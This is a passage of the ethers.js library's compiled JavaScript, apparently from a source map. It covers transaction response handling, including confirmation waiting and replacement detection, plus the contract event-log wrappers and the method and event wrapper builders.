influence how its\n * methods will resolve its async inspection methods.\n */\n provider;\n /**\n * The block number of the block that this transaction was included in.\n *\n * This is ``null`` for pending transactions.\n */\n blockNumber;\n /**\n * The blockHash of the block that this transaction was included in.\n *\n * This is ``null`` for pending transactions.\n */\n blockHash;\n /**\n * The index within the block that this transaction resides at.\n */\n index;\n /**\n * The transaction hash.\n */\n hash;\n /**\n * The [[link-eip-2718]] transaction envelope type. This is\n * ``0`` for legacy transactions types.\n */\n type;\n /**\n * The receiver of this transaction.\n *\n * If ``null``, then the transaction is an initcode transaction.\n * This means the result of executing the [[data]] will be deployed\n * as a new contract on chain (assuming it does not revert) and the\n * address may be computed using [[getCreateAddress]].\n */\n to;\n /**\n * The sender of this transaction. It is implicitly computed\n * from the transaction pre-image hash (as the digest) and the\n * [[signature]] using ecrecover.\n */\n from;\n /**\n * The nonce, which is used to prevent replay attacks and offer\n * a method to ensure transactions from a given sender are explicitly\n * ordered.\n *\n * When sending a transaction, this must be equal to the number of\n * transactions ever sent by [[from]].\n */\n nonce;\n /**\n * The maximum units of gas this transaction can consume. If execution\n * exceeds this, the entries transaction is reverted and the sender\n * is charged for the full amount, despite not state changes being made.\n */\n gasLimit;\n /**\n * The gas price can have various values, depending on the network.\n *\n * In modern networks, for transactions that are included this is\n * the //effective gas price// (the fee per gas that was actually\n * charged), while for transactions that have not been included yet\n * is the [[maxFeePerGas]].\n *\n * For legacy transactions, or transactions on legacy networks, this\n * is the fee that will be charged per unit of gas the transaction\n * consumes.\n */\n gasPrice;\n /**\n * The maximum priority fee (per unit of gas) to allow a\n * validator to charge the sender. This is inclusive of the\n * [[maxFeeFeePerGas]].\n */\n maxPriorityFeePerGas;\n /**\n * The maximum fee (per unit of gas) to allow this transaction\n * to charge the sender.\n */\n maxFeePerGas;\n /**\n * The [[link-eip-4844]] max fee per BLOb gas.\n */\n maxFeePerBlobGas;\n /**\n * The data.\n */\n data;\n /**\n * The value, in wei. Use [[formatEther]] to format this value\n * as ether.\n */\n value;\n /**\n * The chain ID.\n */\n chainId;\n /**\n * The signature.\n */\n signature;\n /**\n * The [[link-eip-2930]] access list for transaction types that\n * support it, otherwise ``null``.\n */\n accessList;\n /**\n * The [[link-eip-4844]] BLOb versioned hashes.\n */\n blobVersionedHashes;\n /**\n * The [[link-eip-7702]] authorizations (if any).\n */\n authorizationList;\n #startBlock;\n /**\n * @_ignore:\n */\n constructor(tx, provider) {\n this.provider = provider;\n this.blockNumber = (tx.blockNumber != null) ? tx.blockNumber : null;\n this.blockHash = (tx.blockHash != null) ? tx.blockHash : null;\n this.hash = tx.hash;\n this.index = tx.index;\n this.type = tx.type;\n this.from = tx.from;\n this.to = tx.to || null;\n this.gasLimit = tx.gasLimit;\n this.nonce = tx.nonce;\n this.data = tx.data;\n this.value = tx.value;\n this.gasPrice = tx.gasPrice;\n this.maxPriorityFeePerGas = (tx.maxPriorityFeePerGas != null) ? tx.maxPriorityFeePerGas : null;\n this.maxFeePerGas = (tx.maxFeePerGas != null) ? tx.maxFeePerGas : null;\n this.maxFeePerBlobGas = (tx.maxFeePerBlobGas != null) ? tx.maxFeePerBlobGas : null;\n this.chainId = tx.chainId;\n this.signature = tx.signature;\n this.accessList = (tx.accessList != null) ? tx.accessList : null;\n this.blobVersionedHashes = (tx.blobVersionedHashes != null) ? tx.blobVersionedHashes : null;\n this.authorizationList = (tx.authorizationList != null) ? tx.authorizationList : null;\n this.#startBlock = -1;\n }\n /**\n * Returns a JSON-compatible representation of this transaction.\n */\n toJSON() {\n const { blockNumber, blockHash, index, hash, type, to, from, nonce, data, signature, accessList, blobVersionedHashes } = this;\n return {\n _type: \"TransactionResponse\",\n accessList, blockNumber, blockHash,\n blobVersionedHashes,\n chainId: toJson(this.chainId),\n data, from,\n gasLimit: toJson(this.gasLimit),\n gasPrice: toJson(this.gasPrice),\n hash,\n maxFeePerGas: toJson(this.maxFeePerGas),\n maxPriorityFeePerGas: toJson(this.maxPriorityFeePerGas),\n maxFeePerBlobGas: toJson(this.maxFeePerBlobGas),\n nonce, signature, to, index, type,\n value: toJson(this.value),\n };\n }\n /**\n * Resolves to the Block that this transaction was included in.\n *\n * This will return null if the transaction has not been included yet.\n */\n async getBlock() {\n let blockNumber = this.blockNumber;\n if (blockNumber == null) {\n const tx = await this.getTransaction();\n if (tx) {\n blockNumber = tx.blockNumber;\n }\n }\n if (blockNumber == null) {\n return null;\n }\n const block = this.provider.getBlock(blockNumber);\n if (block == null) {\n throw new Error(\"TODO\");\n }\n return block;\n }\n /**\n * Resolves to this transaction being re-requested from the\n * provider. This can be used if you have an unmined transaction\n * and wish to get an up-to-date populated instance.\n */\n async getTransaction() {\n return this.provider.getTransaction(this.hash);\n }\n /**\n * Resolve to the number of confirmations this transaction has.\n */\n async confirmations() {\n if (this.blockNumber == null) {\n const { tx, blockNumber } = await resolveProperties({\n tx: this.getTransaction(),\n blockNumber: this.provider.getBlockNumber()\n });\n // Not mined yet...\n if (tx == null || tx.blockNumber == null) {\n return 0;\n }\n return blockNumber - tx.blockNumber + 1;\n }\n const blockNumber = await this.provider.getBlockNumber();\n return blockNumber - this.blockNumber + 1;\n }\n /**\n * Resolves once this transaction has been mined and has\n * %%confirms%% blocks including it (default: ``1``) with an\n * optional %%timeout%%.\n *\n * This can resolve to ``null`` only if %%confirms%% is ``0``\n * and the transaction has not been mined, otherwise this will\n * wait until enough confirmations have completed.\n */\n async wait(_confirms, _timeout) {\n const confirms = (_confirms == null) ? 1 : _confirms;\n const timeout = (_timeout == null) ? 0 : _timeout;\n let startBlock = this.#startBlock;\n let nextScan = -1;\n let stopScanning = (startBlock === -1) ? true : false;\n const checkReplacement = async () => {\n // Get the current transaction count for this sender\n if (stopScanning) {\n return null;\n }\n const { blockNumber, nonce } = await resolveProperties({\n blockNumber: this.provider.getBlockNumber(),\n nonce: this.provider.getTransactionCount(this.from)\n });\n // No transaction or our nonce has not been mined yet; but we\n // can start scanning later when we do start\n if (nonce < this.nonce) {\n startBlock = blockNumber;\n return;\n }\n // We were mined; no replacement\n if (stopScanning) {\n return null;\n }\n const mined = await this.getTransaction();\n if (mined && mined.blockNumber != null) {\n return;\n }\n // We were replaced; start scanning for that transaction\n // Starting to scan; look back a few extra blocks for safety\n if (nextScan === -1) {\n nextScan = startBlock - 3;\n if (nextScan < this.#startBlock) {\n nextScan = this.#startBlock;\n }\n }\n while (nextScan <= blockNumber) {\n // Get the next block to scan\n if (stopScanning) {\n return null;\n }\n const block = await this.provider.getBlock(nextScan, true);\n // This should not happen; but we'll try again shortly\n if (block == null) {\n return;\n }\n // We were mined; no replacement\n for (const hash of block) {\n if (hash === this.hash) {\n return;\n }\n }\n // Search for the transaction that replaced us\n for (let i = 0; i < block.length; i++) {\n const tx = await block.getTransaction(i);\n if (tx.from === this.from && tx.nonce === this.nonce) {\n // Get the receipt\n if (stopScanning) {\n return null;\n }\n const receipt = await this.provider.getTransactionReceipt(tx.hash);\n // This should not happen; but we'll try again shortly\n if (receipt == null) {\n return;\n }\n // We will retry this on the next block (this case could be optimized)\n if ((blockNumber - receipt.blockNumber + 1) < confirms) {\n return;\n }\n // The reason we were replaced\n let reason = \"replaced\";\n if (tx.data === this.data && tx.to === this.to && tx.value === this.value) {\n reason = \"repriced\";\n }\n else if (tx.data === \"0x\" && tx.from === tx.to && tx.value === BN_0) {\n reason = \"cancelled\";\n }\n assert(false, \"transaction was replaced\", \"TRANSACTION_REPLACED\", {\n cancelled: (reason === \"replaced\" || reason === \"cancelled\"),\n reason,\n replacement: tx.replaceableTransaction(startBlock),\n hash: tx.hash,\n receipt\n });\n }\n }\n nextScan++;\n }\n return;\n };\n const checkReceipt = (receipt) => {\n if (receipt == null || receipt.status !== 0) {\n return receipt;\n }\n assert(false, \"transaction execution reverted\", \"CALL_EXCEPTION\", {\n action: \"sendTransaction\",\n data: null, reason: null, invocation: null, revert: null,\n transaction: {\n to: receipt.to,\n from: receipt.from,\n data: \"\" // @TODO: in v7, split out sendTransaction properties\n }, receipt\n });\n };\n const receipt = await this.provider.getTransactionReceipt(this.hash);\n if (confirms === 0) {\n return checkReceipt(receipt);\n }\n if (receipt) {\n if (confirms === 1 || (await receipt.confirmations()) >= confirms) {\n return checkReceipt(receipt);\n }\n }\n else {\n // Check for a replacement; throws if a replacement was found\n await checkReplacement();\n // Allow null only when the confirms is 0\n if (confirms === 0) {\n return null;\n }\n }\n const waiter = new Promise((resolve, reject) => {\n // List of things to cancel when we have a result (one way or the other)\n const cancellers = [];\n const cancel = () => { cancellers.forEach((c) => c()); };\n // On cancel, stop scanning for replacements\n cancellers.push(() => { stopScanning = true; });\n // Set up any timeout requested\n if (timeout > 0) {\n const timer = setTimeout(() => {\n cancel();\n reject(makeError(\"wait for transaction timeout\", \"TIMEOUT\"));\n }, timeout);\n cancellers.push(() => { clearTimeout(timer); });\n }\n const txListener = async (receipt) => {\n // Done; return it!\n if ((await receipt.confirmations()) >= confirms) {\n cancel();\n try {\n resolve(checkReceipt(receipt));\n }\n catch (error) {\n reject(error);\n }\n }\n };\n cancellers.push(() => { this.provider.off(this.hash, txListener); });\n this.provider.on(this.hash, txListener);\n // We support replacement detection; start checking\n if (startBlock >= 0) {\n const replaceListener = async () => {\n try {\n // Check for a replacement; this throws only if one is found\n await checkReplacement();\n }\n catch (error) {\n // We were replaced (with enough confirms); re-throw the error\n if (isError(error, \"TRANSACTION_REPLACED\")) {\n cancel();\n reject(error);\n return;\n }\n }\n // Rescheudle a check on the next block\n if (!stopScanning) {\n this.provider.once(\"block\", replaceListener);\n }\n };\n cancellers.push(() => { this.provider.off(\"block\", replaceListener); });\n this.provider.once(\"block\", replaceListener);\n }\n });\n return await waiter;\n }\n /**\n * Returns ``true`` if this transaction has been included.\n *\n * This is effective only as of the time the TransactionResponse\n * was instantiated. To get up-to-date information, use\n * [[getTransaction]].\n *\n * This provides a Type Guard that this transaction will have\n * non-null property values for properties that are null for\n * unmined transactions.\n */\n isMined() {\n return (this.blockHash != null);\n }\n /**\n * Returns true if the transaction is a legacy (i.e. ``type == 0``)\n * transaction.\n *\n * This provides a Type Guard that this transaction will have\n * the ``null``-ness for hardfork-specific properties set correctly.\n */\n isLegacy() {\n return (this.type === 0);\n }\n /**\n * Returns true if the transaction is a Berlin (i.e. ``type == 1``)\n * transaction. See [[link-eip-2070]].\n *\n * This provides a Type Guard that this transaction will have\n * the ``null``-ness for hardfork-specific properties set correctly.\n */\n isBerlin() {\n return (this.type === 1);\n }\n /**\n * Returns true if the transaction is a London (i.e. ``type == 2``)\n * transaction. See [[link-eip-1559]].\n *\n * This provides a Type Guard that this transaction will have\n * the ``null``-ness for hardfork-specific properties set correctly.\n */\n isLondon() {\n return (this.type === 2);\n }\n /**\n * Returns true if hte transaction is a Cancun (i.e. ``type == 3``)\n * transaction. See [[link-eip-4844]].\n */\n isCancun() {\n return (this.type === 3);\n }\n /**\n * Returns a filter which can be used to listen for orphan events\n * that evict this transaction.\n */\n removedEvent() {\n assert(this.isMined(), \"unmined transaction canot be orphaned\", \"UNSUPPORTED_OPERATION\", { operation: \"removeEvent()\" });\n return createRemovedTransactionFilter(this);\n }\n /**\n * Returns a filter which can be used to listen for orphan events\n * that re-order this event against %%other%%.\n */\n reorderedEvent(other) {\n assert(this.isMined(), \"unmined transaction canot be orphaned\", \"UNSUPPORTED_OPERATION\", { operation: \"removeEvent()\" });\n assert(!other || other.isMined(), \"unmined 'other' transaction canot be orphaned\", \"UNSUPPORTED_OPERATION\", { operation: \"removeEvent()\" });\n return createReorderedTransactionFilter(this, other);\n }\n /**\n * Returns a new TransactionResponse instance which has the ability to\n * detect (and throw an error) if the transaction is replaced, which\n * will begin scanning at %%startBlock%%.\n *\n * This should generally not be used by developers and is intended\n * primarily for internal use. Setting an incorrect %%startBlock%% can\n * have devastating performance consequences if used incorrectly.\n */\n replaceableTransaction(startBlock) {\n assertArgument(Number.isInteger(startBlock) && startBlock >= 0, \"invalid startBlock\", \"startBlock\", startBlock);\n const tx = new TransactionResponse(this, this.provider);\n tx.#startBlock = startBlock;\n return tx;\n }\n}\nfunction createOrphanedBlockFilter(block) {\n return { orphan: \"drop-block\", hash: block.hash, number: block.number };\n}\nfunction createReorderedTransactionFilter(tx, other) {\n return { orphan: \"reorder-transaction\", tx, other };\n}\nfunction createRemovedTransactionFilter(tx) {\n return { orphan: \"drop-transaction\", tx };\n}\nfunction createRemovedLogFilter(log) {\n return { orphan: \"drop-log\", log: {\n transactionHash: log.transactionHash,\n blockHash: log.blockHash,\n blockNumber: log.blockNumber,\n address: log.address,\n data: log.data,\n topics: Object.freeze(log.topics.slice()),\n index: log.index\n } };\n}\n//# sourceMappingURL=provider.js.map","// import from provider.ts instead of index.ts to prevent circular dep\n// from EtherscanProvider\nimport { Log, TransactionReceipt, TransactionResponse } from \"../providers/provider.js\";\nimport { defineProperties, EventPayload } from \"../utils/index.js\";\n/**\n * An **EventLog** contains additional properties parsed from the [[Log]].\n */\nexport class EventLog extends Log {\n /**\n * The Contract Interface.\n */\n interface;\n /**\n * The matching event.\n */\n fragment;\n /**\n * The parsed arguments passed to the event by ``emit``.\n */\n args;\n /**\n * @_ignore:\n */\n constructor(log, iface, fragment) {\n super(log, log.provider);\n const args = iface.decodeEventLog(fragment, log.data, log.topics);\n defineProperties(this, { args, fragment, interface: iface });\n }\n /**\n * The name of the event.\n */\n get eventName() { return this.fragment.name; }\n /**\n * The signature of the event.\n */\n get eventSignature() { return this.fragment.format(); }\n}\n/**\n * An **EventLog** contains additional properties parsed from the [[Log]].\n */\nexport class UndecodedEventLog extends Log {\n /**\n * The error encounted when trying to decode the log.\n */\n error;\n /**\n * @_ignore:\n */\n constructor(log, error) {\n super(log, log.provider);\n defineProperties(this, { error });\n }\n}\n/**\n * A **ContractTransactionReceipt** includes the parsed logs from a\n * [[TransactionReceipt]].\n */\nexport class ContractTransactionReceipt extends TransactionReceipt {\n #iface;\n /**\n * @_ignore:\n */\n constructor(iface, provider, tx) {\n super(tx, provider);\n this.#iface = iface;\n }\n /**\n * The parsed logs for any [[Log]] which has a matching event in the\n * Contract ABI.\n */\n get logs() {\n return super.logs.map((log) => {\n const fragment = log.topics.length ? this.#iface.getEvent(log.topics[0]) : null;\n if (fragment) {\n try {\n return new EventLog(log, this.#iface, fragment);\n }\n catch (error) {\n return new UndecodedEventLog(log, error);\n }\n }\n return log;\n });\n }\n}\n/**\n * A **ContractTransactionResponse** will return a\n * [[ContractTransactionReceipt]] when waited on.\n */\nexport class ContractTransactionResponse extends TransactionResponse {\n #iface;\n /**\n * @_ignore:\n */\n constructor(iface, provider, tx) {\n super(tx, provider);\n this.#iface = iface;\n }\n /**\n * Resolves once this transaction has been mined and has\n * %%confirms%% blocks including it (default: ``1``) with an\n * optional %%timeout%%.\n *\n * This can resolve to ``null`` only if %%confirms%% is ``0``\n * and the transaction has not been mined, otherwise this will\n * wait until enough confirmations have completed.\n */\n async wait(confirms, timeout) {\n const receipt = await super.wait(confirms, timeout);\n if (receipt == null) {\n return null;\n }\n return new ContractTransactionReceipt(this.#iface, this.provider, receipt);\n }\n}\n/**\n * A **ContractUnknownEventPayload** is included as the last parameter to\n * Contract Events when the event does not match any events in the ABI.\n */\nexport class ContractUnknownEventPayload extends EventPayload {\n /**\n * The log with no matching events.\n */\n log;\n /**\n * @_event:\n */\n constructor(contract, listener, filter, log) {\n super(contract, listener, filter);\n defineProperties(this, { log });\n }\n /**\n * Resolves to the block the event occured in.\n */\n async getBlock() {\n return await this.log.getBlock();\n }\n /**\n * Resolves to the transaction the event occured in.\n */\n async getTransaction() {\n return await this.log.getTransaction();\n }\n /**\n * Resolves to the transaction receipt the event occured in.\n */\n async getTransactionReceipt() {\n return await this.log.getTransactionReceipt();\n }\n}\n/**\n * A **ContractEventPayload** is included as the last parameter to\n * Contract Events when the event is known.\n */\nexport class ContractEventPayload extends ContractUnknownEventPayload {\n /**\n * @_ignore:\n */\n constructor(contract, listener, filter, fragment, _log) {\n super(contract, listener, filter, new EventLog(_log, contract.interface, fragment));\n const args = contract.interface.decodeEventLog(fragment, this.log.data, this.log.topics);\n defineProperties(this, { args, fragment });\n }\n /**\n * The event name.\n */\n get eventName() {\n return this.fragment.name;\n }\n /**\n * The event signature.\n */\n get eventSignature() {\n return this.fragment.format();\n }\n}\n//# sourceMappingURL=wrappers.js.map","import { Interface, Typed } from \"../abi/index.js\";\nimport { isAddressable, resolveAddress } from \"../address/index.js\";\n// import from provider.ts instead of index.ts to prevent circular dep\n// from EtherscanProvider\nimport { copyRequest, Log } from \"../providers/provider.js\";\nimport { defineProperties, getBigInt, isCallException, isHexString, resolveProperties, isError, makeError, assert, assertArgument } from \"../utils/index.js\";\nimport { ContractEventPayload, ContractUnknownEventPayload, ContractTransactionResponse, EventLog, UndecodedEventLog } from \"./wrappers.js\";\nconst BN_0 = BigInt(0);\nfunction canCall(value) {\n return (value && typeof (value.call) === \"function\");\n}\nfunction canEstimate(value) {\n return (value && typeof (value.estimateGas) === \"function\");\n}\nfunction canResolve(value) {\n return (value && typeof (value.resolveName) === \"function\");\n}\nfunction canSend(value) {\n return (value && typeof (value.sendTransaction) === \"function\");\n}\nfunction getResolver(value) {\n if (value != null) {\n if (canResolve(value)) {\n return value;\n }\n if (value.provider) {\n return value.provider;\n }\n }\n return undefined;\n}\nclass PreparedTopicFilter {\n #filter;\n fragment;\n constructor(contract, fragment, args) {\n defineProperties(this, { fragment });\n if (fragment.inputs.length < args.length) {\n throw new Error(\"too many arguments\");\n }\n // Recursively descend into args and resolve any addresses\n const runner = getRunner(contract.runner, \"resolveName\");\n const resolver = canResolve(runner) ? runner : null;\n this.#filter = (async function () {\n const resolvedArgs = await Promise.all(fragment.inputs.map((param, index) => {\n const arg = args[index];\n if (arg == null) {\n return null;\n }\n return param.walkAsync(args[index], (type, value) => {\n if (type === \"address\") {\n if (Array.isArray(value)) {\n return Promise.all(value.map((v) => resolveAddress(v, resolver)));\n }\n return resolveAddress(value, resolver);\n }\n return value;\n });\n }));\n return contract.interface.encodeFilterTopics(fragment, resolvedArgs);\n })();\n }\n getTopicFilter() {\n return this.#filter;\n }\n}\n// A = Arguments passed in as a tuple\n// R = The result type of the call (i.e. if only one return type,\n// the qualified type, otherwise Result)\n// D = The type the default call will return (i.e. R for view/pure,\n// TransactionResponse otherwise)\n//export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = ContractTransactionResponse> {\nfunction getRunner(value, feature) {\n if (value == null) {\n return null;\n }\n if (typeof (value[feature]) === \"function\") {\n return value;\n }\n if (value.provider && typeof (value.provider[feature]) === \"function\") {\n return value.provider;\n }\n return null;\n}\nfunction getProvider(value) {\n if (value == null) {\n return null;\n }\n return value.provider || null;\n}\n/**\n * @_ignore:\n */\nexport async function copyOverrides(arg, allowed) {\n // Make sure the overrides passed in are a valid overrides object\n const _overrides = Typed.dereference(arg, \"overrides\");\n assertArgument(typeof (_overrides) === \"object\", \"invalid overrides parameter\", \"overrides\", arg);\n // Create a shallow copy (we'll deep-ify anything needed during normalizing)\n const overrides = copyRequest(_overrides);\n assertArgument(overrides.to == null || (allowed || []).indexOf(\"to\") >= 0, \"cannot override to\", \"overrides.to\", overrides.to);\n assertArgument(overrides.data == null || (allowed || []).indexOf(\"data\") >= 0, \"cannot override data\", \"overrides.data\", overrides.data);\n // Resolve any from\n if (overrides.from) {\n overrides.from = overrides.from;\n }\n return overrides;\n}\n/**\n * @_ignore:\n */\nexport async function resolveArgs(_runner, inputs, args) {\n // Recursively descend into args and resolve any addresses\n const runner = getRunner(_runner, \"resolveName\");\n const resolver = canResolve(runner) ? runner : null;\n return await Promise.all(inputs.map((param, index) => {\n return param.walkAsync(args[index], (type, value) => {\n value = Typed.dereference(value, type);\n if (type === \"address\") {\n return resolveAddress(value, resolver);\n }\n return value;\n });\n }));\n}\nfunction buildWrappedFallback(contract) {\n const populateTransaction = async function (overrides) {\n // If an overrides was passed in, copy it and normalize the values\n const tx = (await copyOverrides(overrides, [\"data\"]));\n tx.to = await contract.getAddress();\n if (tx.from) {\n tx.from = await resolveAddress(tx.from, getResolver(contract.runner));\n }\n const iface = contract.interface;\n const noValue = (getBigInt((tx.value || BN_0), \"overrides.value\") === BN_0);\n const noData = ((tx.data || \"0x\") === \"0x\");\n if (iface.fallback && !iface.fallback.payable && iface.receive && !noData && !noValue) {\n assertArgument(false, \"cannot send data to receive or send value to non-payable fallback\", \"overrides\", overrides);\n }\n assertArgument(iface.fallback || noData, \"cannot send data to receive-only contract\", \"overrides.data\", tx.data);\n // Only allow payable contracts to set non-zero value\n const payable = iface.receive || (iface.fallback && iface.fallback.payable);\n assertArgument(payable || noValue, \"cannot send value to non-payable fallback\", \"overrides.value\", tx.value);\n // Only allow fallback contracts to set non-empty data\n assertArgument(iface.fallback || noData, \"cannot send data to receive-only contract\", \"overrides.data\", tx.data);\n return tx;\n };\n const staticCall = async function (overrides) {\n const runner = getRunner(contract.runner, \"call\");\n assert(canCall(runner), \"contract runner does not support calling\", \"UNSUPPORTED_OPERATION\", { operation: \"call\" });\n const tx = await populateTransaction(overrides);\n try {\n return await runner.call(tx);\n }\n catch (error) {\n if (isCallException(error) && error.data) {\n throw contract.interface.makeError(error.data, tx);\n }\n throw error;\n }\n };\n const send = async function (overrides) {\n const runner = contract.runner;\n assert(canSend(runner), \"contract runner does not support sending transactions\", \"UNSUPPORTED_OPERATION\", { operation: \"sendTransaction\" });\n const tx = await runner.sendTransaction(await populateTransaction(overrides));\n const provider = getProvider(contract.runner);\n // @TODO: the provider can be null; make a custom dummy provider that will throw a\n // meaningful error\n return new ContractTransactionResponse(contract.interface, provider, tx);\n };\n const estimateGas = async function (overrides) {\n const runner = getRunner(contract.runner, \"estimateGas\");\n assert(canEstimate(runner), \"contract runner does not support gas estimation\", \"UNSUPPORTED_OPERATION\", { operation: \"estimateGas\" });\n return await runner.estimateGas(await populateTransaction(overrides));\n };\n const method = async (overrides) => {\n return await send(overrides);\n };\n defineProperties(method, {\n _contract: contract,\n estimateGas,\n populateTransaction,\n send, staticCall\n });\n return method;\n}\nfunction buildWrappedMethod(contract, key) {\n const getFragment = function (...args) {\n const fragment = contract.interface.getFunction(key, args);\n assert(fragment, \"no matching fragment\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fragment\",\n info: { key, args }\n });\n return fragment;\n };\n const populateTransaction = async function (...args) {\n const fragment = getFragment(...args);\n // If an overrides was passed in, copy it and normalize the values\n let overrides = {};\n if (fragment.inputs.length + 1 === args.length) {\n overrides = await copyOverrides(args.pop());\n if (overrides.from) {\n overrides.from = await resolveAddress(overrides.from, getResolver(contract.runner));\n }\n }\n if (fragment.inputs.length !== args.length) {\n throw new Error(\"internal error: fragment inputs doesn't match arguments; should not happen\");\n }\n const resolvedArgs = await resolveArgs(contract.runner, fragment.inputs, args);\n return Object.assign({}, overrides, await resolveProperties({\n to: contract.getAddress(),\n data: contract.interface.encodeFunctionData(fragment, resolvedArgs)\n }));\n };\n const staticCall = async function (...args) {\n const result = await staticCallResult(...args);\n if (result.length === 1) {\n return result[0];\n }\n return result;\n };\n const send = async function (...args) {\n const runner = contract.runner;\n assert(canSend(runner), \"contract runner does not support sending transactions\", \"UNSUPPORTED_OPERATION\", { operation: \"sendTransaction\" });\n const tx = await runner.sendTransaction(await populateTransaction(...args));\n const provider = getProvider(contract.runner);\n // @TODO: the provider can be null; make a custom dummy provider that will throw a\n // meaningful error\n return new ContractTransactionResponse(contract.interface, provider, tx);\n };\n const estimateGas = async function (...args) {\n const runner = getRunner(contract.runner, \"estimateGas\");\n assert(canEstimate(runner), \"contract runner does not support gas estimation\", \"UNSUPPORTED_OPERATION\", { operation: \"estimateGas\" });\n return await runner.estimateGas(await populateTransaction(...args));\n };\n const staticCallResult = async function (...args) {\n const runner = getRunner(contract.runner, \"call\");\n assert(canCall(runner), \"contract runner does not support calling\", \"UNSUPPORTED_OPERATION\", { operation: \"call\" });\n const tx = await populateTransaction(...args);\n let result = \"0x\";\n try {\n result = await runner.call(tx);\n }\n catch (error) {\n if (isCallException(error) && error.data) {\n throw contract.interface.makeError(error.data, tx);\n }\n throw error;\n }\n const fragment = getFragment(...args);\n return contract.interface.decodeFunctionResult(fragment, result);\n };\n const method = async (...args) => {\n const fragment = getFragment(...args);\n if (fragment.constant) {\n return await staticCall(...args);\n }\n return await send(...args);\n };\n defineProperties(method, {\n name: contract.interface.getFunctionName(key),\n _contract: contract, _key: key,\n getFragment,\n estimateGas,\n populateTransaction,\n send, staticCall, staticCallResult,\n });\n // Only works on non-ambiguous keys (refined fragment is always non-ambiguous)\n Object.defineProperty(method, \"fragment\", {\n configurable: false,\n enumerable: true,\n get: () => {\n const fragment = contract.interface.getFunction(key);\n assert(fragment, \"no matching fragment\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fragment\",\n info: { key }\n });\n return fragment;\n }\n });\n return method;\n}\nfunction buildWrappedEvent(contract, key) {\n const getFragment = function (...args) {\n const fragment = contract.interface.getEvent(key, args);\n assert(fragment, \"no matching fragment\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fragment\",\n info: { key, args }\n });\n return fragment;\n };\n const method = function (...args) {\n return new PreparedTopicFilter(contract, getFragment(...args), args);\n };\n defineProperties(method, {\n name: contract.interface.getEventName(key),\n _contract: contract, _key: key,\n getFragment\n });\n // Only works on non-ambiguous keys (refined fragment is always non-ambiguous)\n Object.defineProperty(method, \"fragment\", {\n configurable: false,\n enumerable: true,\n get: () => {\n const fragment = contract.interface.getEvent(key);\n assert(fragment, \"no matching fragment\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fragment\",\n info: { key }\n });\n return fragment;\n }\n });\n return method;\n}\n// The combination of TypeScrype, Private Fields and Proxies makes\n// the world go boom; so we hide variables with some trickery keeping\n// a symbol attached to each BaseContract which its sub-class (even\n// via a Proxy) can reach and use to look up its internal values.\nconst internal = Symbol.for(\"_ethersInternal_contract\");\nconst internalValues = new WeakMap();\nfunction setInternal(contract, values) {\n internalValues.set(contract[internal], values);\n}\nfunction getInternal(contract) {\n return internalValues.get(contract[internal]);\n}\nfunction isDeferred(value) {\n return (value && typeof (value) === \"object\" && (\"getTopicFilter\" in value) &&\n (typeof (value.getTopicFilter) === \"function\") && value.fragment);\n}\nasync function getSubInfo(contract, event) {\n let topics;\n let fragment = null;\n // Convert named events to topicHash and get the fragment for\n // events which need deconstructing.\n if (Array.isArray(event)) {\n const topicHashify = function (name) {\n if (isHexString(name, 32)) {\n return name;\n }\n const fragment = contract.interface.getEvent(name);\n assertArgument(fragment, \"unknown fragment\", \"name\", name);\n return fragment.topicHash;\n };\n // Array of Topics and Names; e.g. `[ \"0x1234...89ab\", \"Transfer(address)\" ]`\n topics = event.map((e) => {\n if (e == null) {\n return null;\n }\n if (Array.isArray(e)) {\n return e.map(topicHashify);\n }\n return topicHashify(e);\n });\n }\n else if (event === \"*\") {\n topics = [null];\n }\n else if (typeof (event) === \"string\") {\n if (isHexString(event, 32)) {\n // Topic Hash\n topics = [event];\n }\n else {\n // Name or Signature; e.g. `\"Transfer\", `\"Transfer(address)\"`\n fragment = contract.interface.getEvent(event);\n assertArgument(fragment, \"unknown fragment\", \"event\", event);\n topics = [fragment.topicHash];\n }\n }\n else if (isDeferred(event)) {\n // Deferred Topic Filter; e.g. `contract.filter.Transfer(from)`\n topics = await event.getTopicFilter();\n }\n else if (\"fragment\" in event) {\n // ContractEvent; e.g. `contract.filter.Transfer`\n fragment = event.fragment;\n topics = [fragment.topicHash];\n }\n else {\n assertArgument(false, \"unknown event name\", \"event\", event);\n }\n // Normalize topics and sort TopicSets\n topics = topics.map((t) => {\n if (t == null) {\n return null;\n }\n if (Array.isArray(t)) {\n const items = Array.from(new Set(t.map((t) => t.toLowerCase())).values());\n if (items.length === 1) {\n return items[0];\n }\n items.sort();\n return items;\n }\n return t.toLowerCase();\n });\n const tag = topics.map((t) => {\n if (t == null) {\n return \"null\";\n }\n if (Array.isArray(t)) {\n return t.join(\"|\");\n }\n return t;\n }).join(\"&\");\n return { fragment, tag, topics };\n}\nasync function hasSub(contract, event) {\n const { subs } = getInternal(contract);\n return subs.get((await getSubInfo(contract, event)).tag) || null;\n}\nasync function getSub(contract, operation, event) {\n // Make sure our runner can actually subscribe to events\n const provider = getProvider(contract.runner);\n assert(provider, \"contract runner does not support subscribing\", \"UNSUPPORTED_OPERATION\", { operation });\n const { fragment, tag, topics } = await getSubInfo(contract, event);\n const { addr, subs } = getInternal(contract);\n let sub = subs.get(tag);\n if (!sub) {\n const address = (addr ? addr : contract);\n const filter = { address, topics };\n const listener = (log) => {\n let foundFragment = fragment;\n if (foundFragment == null) {\n try {\n foundFragment = contract.interface.getEvent(log.topics[0]);\n }\n catch (error) { }\n }\n // If fragment is null, we do not deconstruct the args to emit\n if (foundFragment) {\n const _foundFragment = foundFragment;\n const args = fragment ? contract.interface.decodeEventLog(fragment, log.data, log.topics) : [];\n emit(contract, event, args, (listener) => {\n return new ContractEventPayload(contract, listener, event, _foundFragment, log);\n });\n }\n else {\n emit(contract, event, [], (listener) => {\n return new ContractUnknownEventPayload(contract, listener, event, log);\n });\n }\n };\n let starting = [];\n const start = () => {\n if (starting.length) {\n return;\n }\n starting.push(provider.on(filter, listener));\n };\n const stop = async () => {\n if (starting.length == 0) {\n return;\n }\n let started = starting;\n starting = [];\n await Promise.all(started);\n provider.off(filter, listener);\n };\n sub = { tag, listeners: [], start, stop };\n subs.set(tag, sub);\n }\n return sub;\n}\n// We use this to ensure one emit resolves before firing the next to\n// ensure correct ordering (note this cannot throw and just adds the\n// notice to the event queu using setTimeout).\nlet lastEmit = Promise.resolve();\nasync function _emit(contract, event, args, payloadFunc) {\n 